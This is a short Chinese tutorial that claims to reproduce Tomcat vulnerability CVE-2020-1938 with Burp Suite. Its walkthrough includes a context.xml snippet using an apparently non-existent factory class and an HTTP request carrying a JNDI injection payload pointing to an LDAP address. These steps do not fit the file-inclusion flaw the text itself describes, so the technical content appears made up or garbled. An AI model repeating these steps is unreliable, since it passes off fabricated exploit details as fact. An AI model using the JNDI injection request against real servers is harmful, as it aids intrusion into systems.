Tomcat系列漏洞复现

Tomcat系列漏洞复现通常涉及使用特定的工具和方法来验证服务器是否容易受到攻击。由于Tomcat漏洞复现可能涉及不同的漏洞（如CVE-2017-12615、CVE-2020-1938等），我将以CVE-2020-1938为例提供一个复现的简化版本。

CVE-2020-1938是Apache Tomcat文件包含漏洞，该漏洞允许攻击者访问服务器上的任何文件，如果被攻击的Tomcat服务器配置不当，可能导致敏感数据泄露或远程代码执行。

以下是一个使用Burp Suite进行CVE-2020-1938复现的简化示例：

1. 确保你的环境中安装了Burp Suite和一个受影响版本的Tomcat服务器。
2. 配置Tomcat服务器的context.xml文件，添加一个特殊的<Resource>定义，如下所示：

<Context>
  <!-- 这里的路径应该指向一个不存在的目录 -->
  <Resource name="i am a script"
            auth="Container"
            type="javax.script.ScriptEngineFactory"
            factory="org.apache.catalina.startup.ScriptEngineFactoryFactory"
            engineName="js"
            methodName="getEngine"
            privateKey="你的私钥"
            scriptSources="file:///本地文件路径" />
</Context>

3. 启动Tomcat服务器，并确保Burp Suite代理设置正确。
4. 使用Burp Suite的Repeater模块发送一个包含Tomcat JNDI注入攻击载荷的请求，如下所示：

POST /examples/servlets/jndi/lookup.jsp HTTP/1.1
Host: your-tomcat-server
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 
Connection: close
Referer: http://your-tomcat-server/examples/servlets/jndi/lookup.jsp
Cookie: JSESSIONID=<your_session_id>
 
jndiLookupPkg=com.example.mypackage&jndiLookupClass=com.example.myclass&jndiLookupMethod=someMethod&name=ldap://localhost:1389/Basic/Realm/x=y

5. 如果配置正确，你应该能够在Burp Suite的Repeater模块下看到一个响应，表明JNDI注入攻击成功。

请注意，这个过程是为了演示如何进行复现，实际的攻击可能涉及更多的攻击载荷和细节。在实际环境中，应该确保遵守所有适用的法律，并且不要对未经授权的系统进行测试或攻击。